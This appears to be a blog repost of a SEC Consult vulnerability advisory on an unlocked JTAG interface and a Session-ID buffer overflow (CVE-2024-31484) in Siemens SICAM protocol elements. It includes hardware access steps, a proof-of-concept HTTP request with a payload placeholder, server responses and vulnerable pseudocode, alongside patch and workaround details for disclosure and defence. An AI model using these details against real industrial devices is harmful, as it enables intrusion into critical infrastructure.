{"id":60568,"date":"2024-12-03T00:10:09","date_gmt":"2024-12-02T21:10:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182911\/SA-20241125-0.txt"},"modified":"2024-12-03T00:10:09","modified_gmt":"2024-12-02T21:10:09","slug":"siemens-unlocked-jtag-interface-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/siemens-unlocked-jtag-interface-buffer-overflow\/","title":{"rendered":"Siemens Unlocked JTAG Interface \/ Buffer Overflow"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241125-0 &gt;<br \/>=======================================================================<br \/>title: Unlocked JTAG interface and buffer overflow<br \/>product: Siemens SM-2558 Protocol Element (extension module for<br \/>Siemens SICAM AK3\/TM\/BC),<br \/>Siemens CP-2016 &amp; CP-2019<br \/>vulnerable version: JTAG: Unknown HW revision, Zynq Firmware Version 10A45<br \/>Buffer overflow: &lt;V10.46 (ETA4), &lt;V03.27 (ETA5),<br \/>&lt;V06.02 (CPCX26), &lt;V06.05 (PCCX26)<br \/>fixed version: JTAG: SM-2558 hardware is EOL<br \/>Buffer overflow: V06.02 (CPCX26), V10.46 (ETA4),<br \/>V03.27 (ETA5), V06.05 (PCCX26)<br \/>impact: High<br \/>homepage: https:\/\/www.siemens.com<br \/>found: 2023-07-11<br \/>by: Stefan Viehb\u00f6ck (Office Linz)<br \/>Constantin Schieber-Kn\u00f6bl (Office Vienna)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;We are a technology company focused on industry, infrastructure,<br \/>transport, and healthcare. From more resource-efficient factories,<br \/>resilient supply chains, and smarter buildings and grids, to cleaner<br \/>and more comfortable transportation as well as advanced healthcare,<br \/>we create technology with purpose adding real value for customers.&#8221;<\/p>\n<p>Source: https:\/\/new.siemens.com\/global\/en\/company\/about.html<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>Upgrade to the latest firmware version to mitigate the buffer overflow.<\/p>\n<p>The hardware (SM-2558) is considered end of life (EOL), thus no new<br \/>version with a fixed JTAG will be released. Restrict physical access<br \/>to the device.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the<br \/>product conducted by security professionals to identify and resolve potential<br \/>further security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Unlocked JTAG Interface of Zynq-7000 on SM-2558<br \/>The JTAG interface can be accessed with physical access to the PCB.<br \/>After slightly modifying the hardware it is possible to connect to<br \/>the interface with full access to the communication module.<\/p>\n<p>2) Buffer Overflow on the Webserver of the SM-2558, CP-2016 &amp; CP-2019 (CVE-2024-31484)<br \/>The webserver running on the SM-2558 device as well as CP-2016 and CP-2019<br \/>is vulnerable to a buffer overflow vulnerability.<\/p>\n<p>The value of the HTTP header &#8220;Session-ID&#8221; is processed and used in an<br \/>&#8220;sprintf&#8221; call without proper length checking. The target buffer is in the<br \/>BSS segment and likely 1024 bytes in length. The buffer overflows into several<br \/>other global data structures.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Unlocked JTAG Interface of Zynq-7000 on SM-2558<br \/>The JTAG interface pins (TDI, TDO, TCK, TMS, GND) are accessible on a populated<br \/>20-pin header on the PCB (see [figure_1]).<\/p>\n<p>A removed connection needs to be restored by soldering an additional wire<br \/>between two exposed contacts (see [figure_2]), as the JTAG interface of the<br \/>Zynq-7000 is daisy-chained with the JTAG interface of the Broadcom BCM53101M<br \/>Ethernet controller. The pad in question connects to pin A57 (TDI) of the Ethernet<br \/>controller. After connecting to the pins, a connection to the Zynq-7000 JTAG<br \/>interface is possible. E.g., memory can be dumped ([figure_5]), execution can be<br \/>single stepped ([figure_4]) or halted ([figure_3]), and variables changed.<br \/>This grants an attacker with physical access full control of the communication<br \/>module.<\/p>\n<p>2) Buffer Overflow on the Webserver of the SM-2558, CP-2016 &amp; CP-2019 (CVE-2024-31484)<br \/>The vulnerability can be triggered with a HTTP POST request similar to the<br \/>following one:<\/p>\n<p>POST \/SICAM_TOOLBOX_1703_remote_connection_01.htm HTTP\/1.1<br \/>User-Agent: SICAM TOOLBOX II<br \/>Version: 1<br \/>Session-ID: 3814280BA9922f30_BOF_PAYLOAD_HERE<br \/>Sequence-ID: 525<br \/>Content-Length: 54<br \/>Content-Type: text\/plain<br \/>KeepAlive: 5<br \/>Connection: close<\/p>\n<p>type=1&amp;length=15&amp;data=0780640202fef1e60000feff0100c2<\/p>\n<p>Here are a few observations with different Session-ID values:<\/p>\n<p>a) Session ID value 3814280BA9922f30 results in normal behavior<br \/>HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA992fd0<br \/>Sequence-ID: 1<br \/>Content-Type: text\/plain<br \/>Content-Length: 8<\/p>\n<p>type=4<\/p>\n<p>b) Session ID value 3814280BA992fd00000000000000 results in normal behavior<br \/>HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA992fd00000000000000<br \/>Sequence-ID: 1<br \/>Content-Type: text\/plain<br \/>Content-Length: 0<\/p>\n<p>c) Session ID value 3814280BA992fd00000000000000&#8230; (in total 618 characters) results in three HTTP responses<br \/>HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA992fd000000HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA992fd000000HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA992<br \/>Sequence-ID: 1<br \/>Content-Type: text\/plain<br \/>Content-Length: 8<\/p>\n<p>type=4<\/p>\n<p>d) Session ID value 3814280BA992fd00000000000000&#8230; (in total 1260 characters) results in a HTTP 500 &#8211; internal server error<br \/>HTTP\/1.1 500 Internal Server Error<br \/>Content-Type: text\/html<br \/>Content-Length: 198<\/p>\n<p>&lt;html&gt;&lt;head&gt;&lt;title&gt;500 Internal Server Error&lt;\/title&gt;&lt;\/head&gt;&lt;body&gt;&lt;h1&gt;Internal Server Error&lt;\/h1&gt;&lt;p&gt;Sorry, an unexpected internal server error occurred while processing your request.&lt;\/p&gt;&lt;\/body&gt;&lt;\/html&gt;<\/p>\n<p>Pseudocode of vulnerable function:<br \/>[&#8230;]sessiond_id = (char *)get_http_header(a1, (int)&#8221;Session-ID&#8221;); &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; session_id is extracted from HTTP request<br \/>if ( !sessiond_id )<br \/>goto LABEL_194;<br \/>if ( unk_51CD1C )<br \/>{<br \/>v11 = 0;<br \/>}<br \/>else<br \/>{<br \/>sub_3DB0E4((unsigned int)byte_51CD08, (unsigned int)sessiond_id, 0x14u);<br \/>v11 = 1;<br \/>}<br \/>if ( sub_15332C() == 1 )<br \/>{<br \/>v134 = 0;<br \/>if ( sub_155BC4(a1, (int)v133) || !v134 )<br \/>{<br \/>LABEL_49:<br \/>sequence_id = get_http_header_int(a1, &#8220;Sequence-ID&#8221;);<br \/>sprintf( &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; response_buffer overflows here<br \/>response_buffer,<br \/>&#8220;HTTP\/1.1 200 OK\\r\\n&#8221;<br \/>&#8220;Server: %s\\r\\n&#8221;<br \/>&#8220;Version: %u\\r\\n&#8221;<br \/>&#8220;Session-ID: %s\\r\\n&#8221;<br \/>&#8220;Sequence-ID: %lu\\r\\n&#8221;<br \/>&#8220;Content-Type: text\/plain\\r\\n&#8221;<br \/>&#8220;Content-Length: 0\\r\\n&#8221;<br \/>&#8220;\\r\\n&#8221;,<br \/>&#8220;SICAM 1703&#8221;,<br \/>1,<br \/>sessiond_id,<br \/>sequence_id);<br \/>[&#8230;]\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following version has been tested which was the latest version available<br \/>at the time of the test:<br \/>&#8211; Webserver that runs on Firmware Version 10A45 of the Zynq FPGA.<br \/>&#8211; The Hardware revision of the device was unknown.<\/p>\n<p>According to the vendor, the following firmware versions for the SM-2558<br \/>are affected by CVE-2024-31484:<br \/>* ETA4 Ethernet Interface IEC60870-5-104: All versions &lt; V10.46<br \/>* ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: All versions &lt; V03.27<\/p>\n<p>Note that the same vulnerability exists as well in other products&#8217;<br \/>firmware versions, namely:<br \/>* CPCX26 Central Processing\/Communication for CP-2016: All versions &lt; V06.02<br \/>* PCCX26 Ax 1703 PE, Contr, Communication Element for CP-2019: All versions &lt; V06.05<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-03-05: Contacting vendor through productcert@siemens.com<br \/>2024-03-06: Siemens tracks this as #22436<br \/>2024-04-03: Requested status update.<br \/>2024-04-03: Siemens can reproduce vulnerabilities and will evaluate buffer overflow.<br \/>Hardware is EOL, no fix for the JTAG issue.<br \/>2024-06-11: Siemens publishes SSA-620338 and confirms the buffer overflow.<br \/>2024-07 &#8211; 2024-09: Various vacation \/ absences, delaying advisory coordination.<br \/>2024-10-22: Meeting with ProductCERT, discussing release of SM-2558 advisory.<br \/>2024-10-31: Sending advisory draft to ProductCERT.<br \/>2024-11-14: Receiving feedback on advisory draft.<br \/>2024-11-19: Sending updated advisory to ProductCERT.<br \/>2024-11-25: Coordinated release of advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor provides patches for the affected devices \/ components<br \/>to fix CVE-2024-31484:<br \/>* ETA4 for SM-2558: Upgrade to V10.46<br \/>* ETA5 for SM-2558: Upgrade to V03.27<br \/>* CPCX26 for CP-2016: Upgrade to V06.02<br \/>* PCCX26 for CP-2019: Upgrade to V06.05<\/p>\n<p>More detailed information can be found in the Siemens Security Advisory SSA-620338:<br \/>https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-620338.html<\/p>\n<p>The hardware (SM-2558) is considered end of life (EOL), thus no new version<br \/>with a fixed JTAG will be released. Restrict physical access to the device.<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>Make sure to strictly limit physical access to the PLCs containing the protocol<br \/>element during and also after its life cycle.<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Constantin Schieber-Kn\u00f6bl, Stefan Viehb\u00f6ck \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241125-0 &gt;=======================================================================title: Unlocked JTAG interface and buffer overflowproduct: Siemens SM-2558 Protocol Element (extension module forSiemens SICAM AK3\/TM\/BC),Siemens CP-2016 &amp; CP-2019vulnerable version: JTAG: Unknown HW revision, Zynq Firmware Version 10A45Buffer overflow: &lt;V10.46 (ETA4), &lt;V03.27 (ETA5),&lt;V06.02 (CPCX26), &lt;V06.05 (PCCX26)fixed version: JTAG: SM-2558 hardware is EOLBuffer overflow: V06.02 (CPCX26), V10.46 (ETA4),V03.27 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60568","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60568","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60568"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60568\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60568"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60568"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60568"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}